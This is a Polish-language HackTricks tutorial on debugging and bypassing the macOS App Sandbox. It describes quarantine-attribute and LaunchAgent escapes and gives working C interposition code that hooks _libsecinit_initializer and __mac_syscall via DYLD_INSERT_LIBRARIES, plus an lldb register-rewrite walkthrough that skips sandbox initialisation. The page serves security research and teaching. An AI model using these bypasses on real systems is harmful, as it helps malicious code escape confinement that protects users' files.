Polish - Ht
HackTricks Training Twitter Linkedin Sponsor

macOS Sandbox Debug & Bypass

Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Proces ładowania Sandboxu

Na powyższym obrazku można zobaczyć jak będzie ładowany sandbox podczas uruchamiania aplikacji z uprawnieniem com.apple.security.app-sandbox.

Kompilator połączy /usr/lib/libSystem.B.dylib z binarnym plikiem.

Następnie libSystem.B będzie wywoływał inne funkcje, aż xpc_pipe_routine wyśle uprawnienia aplikacji do securityd. Securityd sprawdza, czy proces powinien być kwarantanną wewnątrz Sandboxu, a jeśli tak, zostanie poddany kwarantannie. Wreszcie, sandbox zostanie aktywowany za pomocą wywołania __sandbox_ms, które wywoła __mac_syscall.

Możliwe Bypassy

Bypassowanie atrybutu kwarantanny

Pliki tworzone przez procesy w sandboxie otrzymują atrybut kwarantanny, aby zapobiec ucieczce z sandboxa. Jednak jeśli uda ci się utworzyć folder .app bez atrybutu kwarantanny w aplikacji w sandboxie, możesz spowodować, że binarny pakiet aplikacji wskaże na /bin/bash i dodać kilka zmiennych środowiskowych w plist, aby wykorzystać open do uruchomienia nowej aplikacji bez sandboxa.

To właśnie zostało zrobione w CVE-2023-32364.

Dlatego w chwili obecnej, jeśli jesteś w stanie utworzyć folder o nazwie kończącej się na .app bez atrybutu kwarantanny, możesz uciec z sandboxa, ponieważ macOS sprawdza tylko atrybut kwarantanny w folderze .app i w głównym wykonywalnym pliku (a my wskażemy główny plik wykonywalny na /bin/bash).

Zauważ, że jeśli pakiet .app został już autoryzowany do uruchomienia (ma atrybut kwarantanny z flagą autoryzacji do uruchomienia), możesz go również wykorzystać... z tym że teraz nie możesz pisać wewnątrz pakietów .app chyba że masz pewne uprzywilejowane uprawnienia TCC (których nie będziesz miał w sandboxie wysokim).

Wykorzystywanie funkcjonalności Open

W ostatnich przykładach bypassu sandboxa Word można zobaczyć, jak funkcjonalność open w wierszu poleceń może być wykorzystana do ominięcia sandboxa.

pagemacOS Office Sandbox Bypasses

Uruchamianie Agentów/Demonów

Nawet jeśli aplikacja jest przeznaczona do działania w sandboxie (com.apple.security.app-sandbox), można ominąć sandbox, jeśli zostanie uruchomiona z LaunchAgent (~/Library/LaunchAgents) na przykład. Jak wyjaśniono w tym poście, jeśli chcesz uzyskać trwałość z aplikacją, która jest w sandboxie, możesz sprawić, że zostanie automatycznie uruchomiona jako LaunchAgent i być może wstrzyknąć złośliwy kod za pomocą zmiennych środowiskowych DyLib.

Wykorzystywanie Lokalizacji Auto Start

Jeśli proces w sandboxie może pisać w miejscu, gdzie później będzie uruchamiana aplikacja bez sandboxa, będzie mógł uciec, umieszczając tam binarny plik. Dobrym przykładem takich lokalizacji są ~/Library/LaunchAgents lub /System/Library/LaunchDaemons.

Być może będziesz musiał wykonać 2 kroki: aby proces z bardziej przyzwoitym sandboxem (file-read*, file-write*) wykonał twój kod, który faktycznie zapisze w miejscu, gdzie będzie wykonywany bez sandboxa.

Sprawdź tę stronę o lokalizacjach Auto Start:

pagemacOS Auto Start

Wykorzystywanie innych procesów

Jeśli z procesu w sandboxie jesteś w stanie skompromitować inne procesy działające w mniej restrykcyjnych sandboxach (lub bez nich), będziesz mógł uciec do ich sandboxów:

pagemacOS Process Abuse

Statyczna kompilacja i dynamiczne linkowanie

To badanie odkryło 2 sposoby na ominięcie sandboxa. Ponieważ sandbox jest stosowany z przestrzeni użytkownika podczas ładowania biblioteki libSystem. Jeśli binarny plik mógłby uniknąć jej ładowania, nigdy nie zostałby umieszczony w sandboxie:

  • Jeśli binarny plik byłby całkowicie statycznie skompilowany, mógłby uniknąć ładowania tej biblioteki.

  • Jeśli binarny plik nie musiałby ładować żadnych bibliotek (ponieważ łącznik również znajduje się w libSystem), nie musiałby ładować libSystem.

Shellkody

Zauważ, że nawet shellkody w ARM64 muszą być połączone z libSystem.dylib:

ld -o shell shell.o -macosx_version_min 13.0
ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64

Uprawnienia

Należy zauważyć, że nawet jeśli niektóre działania mogą być dozwolone przez sandbox, jeśli aplikacja ma określone uprawnienie, jak na przykład:

(when (entitlement "com.apple.security.network.client")
(allow network-outbound (remote ip))
(allow mach-lookup
(global-name "com.apple.airportd")
(global-name "com.apple.cfnetwork.AuthBrokerAgent")
(global-name "com.apple.cfnetwork.cfnetworkagent")
[...]

Bypass Interpostowania

Aby uzyskać więcej informacji na temat Interpostowania, sprawdź:

pagemacOS Function Hooking

Interpostuj _libsecinit_initializer, aby zapobiec działaniu piaskownicy

// gcc -dynamiclib interpose.c -o interpose.dylib

#include <stdio.h>

void _libsecinit_initializer(void);

void overriden__libsecinit_initializer(void) {
printf("_libsecinit_initializer called\n");
}

__attribute__((used, section("__DATA,__interpose"))) static struct {
void (*overriden__libsecinit_initializer)(void);
void (*_libsecinit_initializer)(void);
}
_libsecinit_initializer_interpose = {overriden__libsecinit_initializer, _libsecinit_initializer};
DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
_libsecinit_initializer called
Sandbox Bypassed!

Przechwyć __mac_syscall aby zapobiec działaniu piaskownicy

interpose.c
// gcc -dynamiclib interpose.c -o interpose.dylib

#include <stdio.h>
#include <string.h>

// Forward Declaration
int __mac_syscall(const char *_policyname, int _call, void *_arg);

// Replacement function
int my_mac_syscall(const char *_policyname, int _call, void *_arg) {
printf("__mac_syscall invoked. Policy: %s, Call: %d\n", _policyname, _call);
if (strcmp(_policyname, "Sandbox") == 0 && _call == 0) {
printf("Bypassing Sandbox initiation.\n");
return 0; // pretend we did the job without actually calling __mac_syscall
}
// Call the original function for other cases
return __mac_syscall(_policyname, _call, _arg);
}

// Interpose Definition
struct interpose_sym {
const void *replacement;
const void *original;
};

// Interpose __mac_syscall with my_mac_syscall
__attribute__((used)) static const struct interpose_sym interposers[] __attribute__((section("__DATA, __interpose"))) = {
{ (const void *)my_mac_syscall, (const void *)__mac_syscall },
};
DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand

__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 0
Bypassing Sandbox initiation.
__mac_syscall invoked. Policy: Quarantine, Call: 87
__mac_syscall invoked. Policy: Sandbox, Call: 4
Sandbox Bypassed!

Debugowanie i ominięcie piaskownicy za pomocą lldb

Skompilujmy aplikację, która powinna być umieszczona w piaskownicy:

#include <stdlib.h>
int main() {
system("cat ~/Desktop/del.txt");
}

macOS Sandboksowanie - Debugowanie i Pomijanie

W tym rozdziale omówimy techniki debugowania i pomijania związane z macOS Sandbox. Debugowanie i pomijanie są często wykorzystywane podczas prób eskalacji uprawnień w środowisku macOS. Wiedza na temat tych technik jest istotna dla zrozumienia podatności systemu i sposobów jej zabezpieczenia.

<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
<key>com.apple.security.app-sandbox</key>
<true/>
</dict>
</plist>

<plist version="1.0">
<dict>
<key>CFBundleIdentifier</key>
<string>xyz.hacktricks.sandbox</string>
<key>CFBundleName</key>
<string>Sandbox</string>
</dict>
</plist>

Następnie skompiluj aplikację:

# Compile it
gcc -Xlinker -sectcreate -Xlinker __TEXT -Xlinker __info_plist -Xlinker Info.plist sand.c -o sand

# Create a certificate for "Code Signing"

# Apply the entitlements via signing
codesign -s <cert-name> --entitlements entitlements.xml sand

Aplikacja spróbuje odczytać plik ~/Desktop/del.txt, którego Sandbox nie zezwoli. Utwórz plik w tym miejscu, ponieważ po ominięciu Sandboksa będzie można go odczytać:

echo "Sandbox Bypassed" > ~/Desktop/del.txt

Zróbmy debugowanie aplikacji, aby zobaczyć, kiedy jest ładowany Sandbox:

# Load app in debugging
lldb ./sand

# Set breakpoint in xpc_pipe_routine
(lldb) b xpc_pipe_routine

# run
(lldb) r

# This breakpoint is reached by different functionalities
# Check in the backtrace is it was de sandbox one the one that reached it
# We are looking for the one libsecinit from libSystem.B, like the following one:
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
* frame #0: 0x00000001873d4178 libxpc.dylib`xpc_pipe_routine
frame #1: 0x000000019300cf80 libsystem_secinit.dylib`_libsecinit_appsandbox + 584
frame #2: 0x00000001874199c4 libsystem_trace.dylib`_os_activity_initiate_impl + 64
frame #3: 0x000000019300cce4 libsystem_secinit.dylib`_libsecinit_initializer + 80
frame #4: 0x0000000193023694 libSystem.B.dylib`libSystem_initializer + 272

# To avoid lldb cutting info
(lldb) settings set target.max-string-summary-length 10000

# The message is in the 2 arg of the xpc_pipe_routine function, get it with:
(lldb) p (char *) xpc_copy_description($x1)
(char *) $0 = 0x000000010100a400 "<dictionary: 0x6000026001e0> { count = 5, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REGISTRATION_MESSAGE_SHORT_NAME_KEY\" => <string: 0x600000c00d80> { length = 4, contents = \"sand\" }\n\t\"SECINITD_REGISTRATION_MESSAGE_IMAGE_PATHS_ARRAY_KEY\" => <array: 0x600000c00120> { count = 42, capacity = 64, contents =\n\t\t0: <string: 0x600000c000c0> { length = 14, contents = \"/tmp/lala/sand\" }\n\t\t1: <string: 0x600000c001e0> { length = 22, contents = \"/private/tmp/lala/sand\" }\n\t\t2: <string: 0x600000c000f0> { length = 26, contents = \"/usr/lib/libSystem.B.dylib\" }\n\t\t3: <string: 0x600000c00180> { length = 30, contents = \"/usr/lib/system/libcache.dylib\" }\n\t\t4: <string: 0x600000c00060> { length = 37, contents = \"/usr/lib/system/libcommonCrypto.dylib\" }\n\t\t5: <string: 0x600000c001b0> { length = 36, contents = \"/usr/lib/system/libcompiler_rt.dylib\" }\n\t\t6: <string: 0x600000c00330> { length = 33, contents = \"/usr/lib/system/libcopyfile.dylib\" }\n\t\t7: <string: 0x600000c00210> { length = 35, contents = \"/usr/lib/system/libcorecry"...

# The 3 arg is the address were the XPC response will be stored
(lldb) register read x2
x2 = 0x000000016fdfd660

# Move until the end of the function
(lldb) finish

# Read the response
## Check the address of the sandbox container in SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY
(lldb) memory read -f p 0x000000016fdfd660 -c 1
0x16fdfd660: 0x0000600003d04000
(lldb) p (char *) xpc_copy_description(0x0000600003d04000)
(char *) $4 = 0x0000000100204280 "<dictionary: 0x600003d04000> { count = 7, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ID_KEY\" => <string: 0x600000c04d50> { length = 22, contents = \"xyz.hacktricks.sandbox\" }\n\t\"SECINITD_REPLY_MESSAGE_QTN_PROC_FLAGS_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY\" => <string: 0x600000c04e10> { length = 65, contents = \"/Users/carlospolop/Library/Containers/xyz.hacktricks.sandbox/Data\" }\n\t\"SECINITD_REPLY_MESSAGE_SANDBOX_PROFILE_DATA_KEY\" => <data: 0x600001704100>: { length = 19027 bytes, contents = 0x0000f000ba0100000000070000001e00350167034d03c203... }\n\t\"SECINITD_REPLY_MESSAGE_VERSION_NUMBER_KEY\" => <int64: 0xaa3e660cef06712f>: 1\n\t\"SECINITD_MESSAGE_TYPE_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_FAILURE_CODE\" => <uint64: 0xaabe660cef067127>: 0\n}"

# To bypass the sandbox we need to skip the call to __mac_syscall
# Lets put a breakpoint in __mac_syscall when x1 is 0 (this is the code to enable the sandbox)
(lldb) breakpoint set --name __mac_syscall --condition '($x1 == 0)'
(lldb) c

# The 1 arg is the name of the policy, in this case "Sandbox"
(lldb) memory read -f s $x0
0x19300eb22: "Sandbox"

#
# BYPASS
#

# Due to the previous bp, the process will be stopped in:
Process 2517 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x0000000187659900 libsystem_kernel.dylib`__mac_syscall
libsystem_kernel.dylib`:
->  0x187659900 <+0>:  mov    x16, #0x17d
0x187659904 <+4>:  svc    #0x80
0x187659908 <+8>:  b.lo   0x187659928               ; <+40>
0x18765990c <+12>: pacibsp

# To bypass jump to the b.lo address modifying some registers first
(lldb) breakpoint delete 1 # Remove bp
(lldb) register write $pc 0x187659928 #b.lo address
(lldb) register write $x0 0x00
(lldb) register write $x1 0x00
(lldb) register write $x16 0x17d
(lldb) c
Process 2517 resuming
Sandbox Bypassed!
Process 2517 exited with status = 0 (0x00000000)

Nawet po ominięciu piaskownicy TCC zapyta użytkownika, czy chce zezwolić procesowi na odczyt plików z pulpitu

Odnośniki

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

PreviousmacOS Default Sandbox DebugNextmacOS Office Sandbox Bypasses

Last updated